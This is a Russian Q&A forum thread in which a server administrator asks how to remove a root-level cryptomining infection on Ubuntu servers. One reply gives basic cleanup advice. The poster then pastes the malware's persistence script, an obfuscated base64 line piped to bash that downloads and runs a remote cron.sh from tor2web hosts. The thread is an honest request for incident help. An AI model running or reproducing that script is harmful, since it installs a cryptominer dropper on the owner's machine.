Кто сталкивался с уязвимостью, майнящей криптовалюту?

Question

[wadomon]

На паре серверов с разными ядрами, разной версией ubuntu, 16.04 и 18.04, обнаружилась некая фигня, грузящая проц
Запущена от рута, имеет разные имена типа ptV9Tp
Из найденного - в кронтабе от рута вызов systemd, в /tmp - файлы .XIM-unix, в которых uid процесса bash и самого ptV9Tp
и в /lib/systemd файлик systemd-login с вызовом bash

как эту ерунду лечить
процесс висит явно поключеный к пулу
ptV9Tp 15244 root 0u IPv4 2329155943 0t0 TCP 41-04.webazilla.com:51200->server.pol-ice.ru:http-alt (ESTABLISHED)

Answer 1

[Рональд Макдональд]

Ох уж этот защищённый Линукс, под который НЕТ ВИРУСОВ!11.

Сделайте:
ps aux | grep имя_процесса
Если там не будет пути к программе, то:
which имя_процесса
И удаляйте.
Накатите обновления ещё.

Comments

[wadomon]

Удалять процесс бесполезно, будет другой. Пока удалил всё перечисленное, ещё не появлялся. Я уже сталкивался где-то год назад с этим, но systemd-login не удалял. Остальное всё накатывается заново )
раньше оно юзало wget для вытягивания скрипта, даже wget переименовывал для этого))

[Рональд Макдональд]

wadomon, надо удалять не процесс, а программу, которая его запускает.

[wadomon]

Рональд Макдональд, Хорошо бы её найти)

[wadomon]

Владимир @, потому и спросил, было ли у кого точно такое же)

[Рональд Макдональд]

wadomon, я ж написал команды.

[wadomon]

Владимир @, вот, не всё удалил, ещё такая радость в руте

cat .systemd-login

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIueHl6L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIueHl6L2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8uZDJ3ZWIub3JnL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

[wadomon]

Владимир @, да ничего вроде